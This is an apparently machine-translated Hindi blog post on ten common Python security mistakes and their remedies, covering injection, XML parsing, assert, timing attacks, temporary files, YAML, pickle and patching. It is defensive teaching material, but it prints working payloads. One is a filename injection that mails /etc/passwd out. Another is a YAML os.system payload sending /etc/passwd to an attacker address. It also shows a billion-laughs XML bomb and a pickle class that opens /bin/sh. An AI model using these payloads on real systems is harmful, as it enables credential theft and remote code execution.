पायथन में 10 सबसे आम सुरक्षा त्रुटियां और उनसे कैसे बचा जाए

सभी को नमस्कार!

हमारा अगला पायथन समूह सोमवार को सफलतापूर्वक शुरू हुआ, लेकिन हमारे पास अभी भी एक और सामग्री है जिसे हमने शुरू करने से पहले प्रबंधित नहीं किया। हम अपनी गलती को सुधारते हैं और आशा करते हैं कि आप इसे पसंद करेंगे।

चलो चलते हैं!

सुरक्षित कोड लिखना मुश्किल है। जब आप एक भाषा, मॉड्यूल या ढांचा सीखते हैं, तो आप सीखेंगे कि इसका उपयोग कैसे करना है। आपको यह भी सोचने की जरूरत है कि सुरक्षा संदर्भ में उनका गलत तरीके से कैसे इस्तेमाल किया जा सकता है। पायथन कोई अपवाद नहीं है, यहां तक ​​कि मानक पुस्तकालय के लिए प्रलेखन में सुरक्षित अनुप्रयोगों के लिए खराब लेखन प्रथाओं का वर्णन है। हालांकि, कई पायथन डेवलपर्स केवल उनसे अनजान हैं।



पायथन अनुप्रयोगों में सबसे आम त्रुटियों में से मेरा शीर्ष 10 (यादृच्छिक क्रम में) है।

1. इंजेक्शन

कई प्रकार के कोड इंजेक्शन हमले हैं, और वे सभी काफी सामान्य हैं। वे सभी भाषाओं, रूपरेखा और वातावरण को प्रभावित करते हैं।

SQL इंजेक्शन तब होता है जब आप ORM का उपयोग करने के बजाय सीधे SQL क्वेरी लिखते हैं, और चर के साथ स्ट्रिंग शाब्दिक मिश्रण करते हैं। मैंने बहुत सारे कोड पढ़े हैं जहां "भागने वाले उद्धरण" को एक फिक्स माना जाता है। ऐसा नहीं है। आप इस धोखा शीट में एसक्यूएल को एम्बेड करने के कई तरीकों से खुद को परिचित कर सकते हैं।

कमांड इंजेक्शन तब होता है जब आप किसी भी समय पॉपेन, सबप्रोसेस, ओएस.सिस्टम का उपयोग करके एक प्रक्रिया कहते हैं और चर से तर्क स्वीकार करते हैं। स्थानीय आदेशों को कॉल करते समय, संभावना है कि कोई व्यक्ति इन मूल्यों को कुछ दुर्भावनापूर्ण रूप से सेट करेगा।

इस सरल लिपि की कल्पना करें [क्रेडिट] । आप उपप्रणाली को उपयोगकर्ता द्वारा दिए गए फ़ाइल नाम से बुलाते हैं:

import subprocess def transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea! 

एक हमलावर फ़ाइलनाम का मान सेट करता है "; cat /etc/passwd | mail them@domain.com या कुछ खतरनाक के रूप में।

समाधान:

यदि आप एक का उपयोग करते हैं तो अपने वेब ढांचे के साथ आने वाली उपयोगिताओं के साथ इनपुट को जीवाणुरहित करें। जब तक आपके पास एक अच्छा कारण नहीं है, तब तक SQL क्वेरी मैन्युअल रूप से न बनाएं। अधिकांश ORM में अंतर्निहित कीटाणुशोधन विधियां हैं।

शेल के लिए, इनपुट को ठीक से ढालने के लिए श्लेक्स मॉड्यूल का उपयोग करें।

2.Parsing XML

यदि आपका एप्लिकेशन XML फ़ाइलों को डाउनलोड और पार्स करता है, तो संभावना है कि आप मानक XML लाइब्रेरी मॉड्यूल में से एक का उपयोग कर रहे हैं। XML के माध्यम से कई सामान्य हमले हैं। अधिकतर DoS- शैली (सिस्टम को फ़िल्टर करने के लिए डिज़ाइन की गई है, डेटा को फ़िल्टर नहीं करने के लिए)। ये हमले काफी आम हैं, खासकर अगर आप बाहरी (यानी उन पर भरोसा नहीं किया जा सकता है) XML फ़ाइलें।

पेलोड की वजह से उनमें से एक को "बिलियन हंसी" (शाब्दिक रूप से "हंसी का बिल") कहा जाता है, जिसमें आमतौर पर "लोल" के बहुत सारे (अरबों) होते हैं। मूल रूप से, विचार यह है कि आप XML में संदर्भ ऑब्जेक्ट बना सकते हैं, इसलिए जब आपका एक्सक्लूसिव XML पार्सर इस फाइल को मेमोरी में लोड करने की कोशिश करता है, तो यह गीगाबाइट रैम का उपभोग करता है। कोशिश करो अगर तुम मुझ पर विश्वास नहीं करते :-)

 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 

अन्य हमले बाहरी इकाई द्वारा विस्तार का उपयोग करते हैं। एक्सएमएल बाहरी यूआरएल से इकाई संदर्भ का समर्थन करता है, एक्सएमएल पार्सर आमतौर पर बिना किसी समस्या के इस संसाधन का अनुरोध करता है और लोड करता है। "एक हमलावर फायरवॉल को बायपास कर सकता है और सीमित संसाधनों तक पहुंच प्राप्त कर सकता है क्योंकि सभी अनुरोध आंतरिक और विश्वसनीय आईपी पते से किए जाते हैं, बाहर से नहीं।"

विचार करने लायक एक और स्थिति है, तीसरे पक्ष के एक्सएमएल डिकोडिंग पैकेज जो आप पर निर्भर करते हैं, जैसे कॉन्फ़िगरेशन फ़ाइल, दूरस्थ एपीआई। आपको यह भी संदेह नहीं हो सकता है कि आपकी एक निर्भरता इस प्रकार के हमलों के लिए खुली है।
पायथन में क्या चल रहा है? खैर, मानक पुस्तकालय मॉड्यूल, एट्री, डोम, xmlrpc ऐसे हमलों के लिए व्यापक रूप से खुले हैं। यह यहाँ अच्छी तरह से प्रलेखित है ।

समाधान:

मानक लाइब्रेरी मॉड्यूल के प्रतिस्थापन के रूप में डिफ्यूज़ेक्लेम का उपयोग करें। वह इस प्रकार के हमलों के खिलाफ रक्षात्मक उपाय जोड़ता है।

3. निर्देश के अनुसार

कोड अंशों की सुरक्षा के लिए assert का उपयोग न करें जो उपयोगकर्ता तक नहीं पहुंचने चाहिए। इसका सरल उदाहरण लें:

 def foo(request, user): assert user.is_admin, “user does not have access” # secure code... 

अब, डिफ़ॉल्ट रूप से, पायथन सच के बराबर __debug__ साथ चलता है, लेकिन एक मुकाबला वातावरण में यह आमतौर पर अनुकूलन के साथ शुरू होता है। assert निर्देश को छोड़ दिया जाएगा और प्रोग्राम सीधे संरक्षित कोड पर जाएगा, भले ही उपयोगकर्ता is_admin हो या न हो।

समाधान:

केवल अन्य डेवलपर्स के साथ बातचीत के लिए assert निर्देशों का उपयोग करें, उदाहरण के लिए, यूनिट परीक्षणों में या एपीआई के गलत उपयोग से बचाने के लिए।

4. अस्थायी हमले

अस्थायी हमले, संक्षेप में, प्रदान किए गए मूल्यों की तुलना करने के लिए आवश्यक समय का निर्धारण करके किसी कार्यक्रम के व्यवहार और एल्गोरिथ्म को उजागर करने का एक तरीका है। अस्थायी हमलों में सटीकता की आवश्यकता होती है, इसलिए वे आमतौर पर उच्च विलंबता वाले दूरस्थ नेटवर्क पर काम नहीं करते हैं। अधिकांश वेब अनुप्रयोगों से जुड़े चर देरी के कारण, HTTP वेब सर्वर के माध्यम से एक अस्थायी हमले को रिकॉर्ड करना लगभग असंभव है।

लेकिन अगर आपके पास एक कमांड लाइन एप्लिकेशन है जो पासवर्ड मांगता है, तो एक हमलावर एक सरल स्क्रिप्ट लिख सकता है कि गणना करने के लिए कि वास्तविक पासवर्ड के साथ उनके मूल्यों की तुलना करने में कितना समय लगता है। एक उदाहरण है ।

यदि आप यह देखना चाहते हैं कि वे कैसे काम करते हैं, तो कुछ प्रभावशाली उदाहरण हैं, जैसे कि पायथन में लिखा गया यह अस्थायी एसएसएच हमला ।

समाधान:

पासवर्ड और अन्य निजी मूल्यों की तुलना करने के लिए Python 3.5 में शुरू किए गए secrets.compare_digest उपयोग करें।

5. दूषित साइट-संकुल या आयात पथ

पायथन में एक बहुत ही लचीली आयात प्रणाली है। यह बहुत अच्छा है जब आप अपने परीक्षणों के लिए बंदर पैच लिखने या मुख्य कार्यों को अधिभारित करने का प्रयास करते हैं।

लेकिन यह पायथन में सबसे बड़े सुरक्षा छेदों में से एक है।

अपने साइट-पैकेज में तृतीय-पक्ष पैकेज स्थापित करना, चाहे वह आभासी वातावरण में हो या वैश्विक साइट-पैकेज (जो आमतौर पर हतोत्साहित करता है), आपको इन पैकेजों में सुरक्षा छेद प्रदान करता है।

PyPi पैकेजों को लोकप्रिय पैकेजों के नामों के समान प्रकाशित करने, लेकिन मनमाने कोड निष्पादित करने के मामले सामने आए हैं। सबसे बड़ी घटना, सौभाग्य से, खतरनाक नहीं थी और बस इस तथ्य को "अंत" दिया कि उन्होंने समस्या पर ध्यान नहीं दिया।

सोचने के लिए एक और स्थिति आपकी निर्भरता (आदि) की निर्भरता है। वे कमजोरियों को शामिल कर सकते हैं, और वे पायथन में आयात प्रणाली के माध्यम से डिफ़ॉल्ट व्यवहार को भी ओवरराइड कर सकते हैं।

समाधान:

अपने पैकेजों की जाँच करें। PyUp.io और उनकी सुरक्षा टीम पर एक नज़र डालें। सभी अनुप्रयोगों के लिए एक आभासी वातावरण का उपयोग करें और सुनिश्चित करें कि आपके वैश्विक साइट-पैकेज यथासंभव साफ हैं। पैकेज हस्ताक्षर की जाँच करें।

6. अस्थायी फाइलें

पायथन में अस्थायी फ़ाइलों को बनाने के लिए, आप आम तौर पर mktemp() फ़ंक्शन का उपयोग करके फ़ाइल नाम उत्पन्न करते हैं, और फिर उत्पन्न नाम का उपयोग करके फ़ाइल बनाते हैं। "यह असुरक्षित है क्योंकि दूसरी प्रक्रिया उसी समय के नाम से एक फ़ाइल बना सकती mktemp() जिसे mktemp() कहा जाता है और पहली प्रक्रिया द्वारा फ़ाइल बनाने का बाद का प्रयास।" इसका मतलब है कि यह आपके एप्लिकेशन को गलत डेटा डाउनलोड करके या अन्य अस्थायी डेटा को खतरे में डालकर ट्रिक कर सकता है।

यदि आप गलत तरीके से कॉल करते हैं तो पायथन के हाल के संस्करण एक रनटाइम चेतावनी दिखाएंगे।

समाधान:

यदि आपको अस्थायी फ़ाइलें बनाने की आवश्यकता है, तो tempfile मॉड्यूल का उपयोग करें और mkstemp का उपयोग करें।

7. yaml.load का उपयोग करना

PyYAML प्रलेखन का हवाला देते हुए:

चेतावनी। किसी अविश्वसनीय स्रोत से प्राप्त किसी भी डेटा के साथ yaml.load को कॉल करना सुरक्षित नहीं है! yaml.load अचार के रूप में कुशल है। लोड, और इसलिए किसी भी पायथन फ़ंक्शन को कॉल कर सकते हैं।

यह बेहतरीन उदाहरण लोकप्रिय Ansible परियोजना में पाया जाता है। आप एक (मान्य) YAML के रूप में Ansible वॉल्ट को एक मूल्य दे सकते हैं। यह फ़ाइल में दिए गए तर्कों के साथ os.system() कहता है।

 !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"] 

इस प्रकार, उपयोगकर्ता द्वारा आपूर्ति किए गए मूल्यों से YAML फ़ाइलों को लोड करके, आप व्यापक रूप से हमला करने के लिए खुले हैं।


एक्शन में इस का प्रदर्शन, धन्यवाद एंथोनी सॉटाइल

समाधान:

yaml.safe_load उपयोग करें, लगभग हमेशा, जब तक आपके पास वास्तव में अच्छा कारण न हो।

8. अचार

Deserializing डिब्बाबंद डेटा YAML जितना ही खराब है। पायथन कक्षाएं एक जादू __reduce__ विधि की घोषणा कर सकती हैं जो एक स्ट्रिंग, या कॉल करने योग्य के साथ एक टपल लौटाता है, और संरक्षण के लिए बुलाया जाने वाला तर्क पारित करता है। एक हमलावर मेजबान पर मनमानी कमांड चलाने के लिए सबप्रोसेस मॉड्यूल में से एक को शामिल करने के लिए इसका उपयोग कर सकता है।

यह उल्लेखनीय उदाहरण दिखाता है कि पायथन में एक खोल खोलने वाले वर्ग को कैसे संरक्षित किया जाए 2. अचार का उपयोग करने के कई और उदाहरण हैं ।

 import cPickle import subprocess import base64 class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) print base64.b64encode(cPickle.dumps(RunBinSh())) 

समाधान:

एक अविश्वसनीय या असत्यापित स्रोत से डेटा को फिर से खोलना नहीं। इसके बजाय, एक अलग क्रमांकन पैटर्न का उपयोग करें, जैसे कि JSON।

9. अजगर रनटाइम सिस्टम का उपयोग करें और इसे पैच न करें

अधिकांश पोसिक्स सिस्टम पायथन 2 के संस्करण के साथ आते हैं। स्वाभाविक रूप से, पहले से ही पुराना।

चूंकि पायथन, अर्थात् सीपीथॉन सी में लिखा गया है, ऐसे समय होते हैं जब पायथन इंटरप्रेटर में ही छेद होते हैं। C में सामान्य सुरक्षा के मुद्दे मेमोरी आवंटन, साथ ही बफर ओवरफ्लो त्रुटियों से संबंधित हैं।

इन वर्षों में, CPython में कई ओवरसीज़ या अतिप्रवाह कमजोरियाँ थीं, जिनमें से प्रत्येक को बाद के रिलीज़ में ठीक किया गया और ठीक किया गया।
इसलिए आप सुरक्षित हैं। अधिक सटीक, यदि आप अपने रनटाइम के लिए पैच स्थापित करते हैं ।

यहां संस्करण 2.7.13 और नीचे के लिए एक उदाहरण है , एक पूर्णांक अतिप्रवाह भेद्यता जो कोड को निष्पादित करने की अनुमति देती है। यह उदाहरण किसी भी Ubuntu के लिए स्थापित किए गए पैच के बिना संस्करण 17 तक है।

समाधान:

अपने लड़ाकू अनुप्रयोगों और सभी पैच के लिए पायथन का नवीनतम संस्करण स्थापित करें !

10. अपनी निर्भरता के लिए पैच स्थापित न करें

जैसे आप अपने रनटाइम के लिए पैच स्थापित नहीं करते हैं, वैसे ही आपको नियमित रूप से अपनी निर्भरता के लिए पैच स्थापित करना होगा।

मुझे लगता है कि पैकेज में PyPi पैकेज के पायथन संस्करणों को "पिनिंग" करने की प्रथा भयावह है। विचार यह है कि " ये ऐसे संस्करण हैं जो काम करते हैं, " इसलिए हर कोई उसे अकेला छोड़ देता है।

आपके द्वारा उपर्युक्त सभी कोड भेद्यताएँ उतनी ही महत्वपूर्ण हैं, जब वे उन पैकेजों में मौजूद होती हैं, जो आपके आवेदन का उपयोग करते हैं। इन पैकेजों के डेवलपर्स सुरक्षा समस्याओं को ठीक करते हैं। हर समय।

समाधान:

अपडेट की जांच करने, एप्लिकेशन में डाउनलोड / मर्ज अनुरोध कॉन्फ़िगर करने और पैकेज अपडेट करने के लिए परीक्षण चलाने के लिए PyUp.io जैसी सेवाओं का उपयोग करें।
उत्पादन वातावरण में स्थापित संस्करणों को सत्यापित करने के लिए और न्यूनतम संस्करणों या संस्करण श्रेणियों के लिए फ़िक्सेस प्रदान करने के लिए इनस्पीक जैसे टूल का उपयोग करें।

क्या आपने दस्यु प्रयास किया है?

एक बड़ा स्टेटिक लिंटर है जो आपके कोड में इन सभी समस्याओं को और भी बहुत कुछ देगा! इसे दस्यु कहा जाता है, सिर्फ pip install bandit और bandit ./codedir

PyCQA / दस्यु

इस अद्भुत लेख के लिए रेडहैट के लिए धन्यवाद, मैंने अपने कुछ शोध में इस्तेमाल किया।

अंत!

हमेशा की तरह, हमें आपकी टिप्पणियों और प्रश्नों को देखकर खुशी होगी :)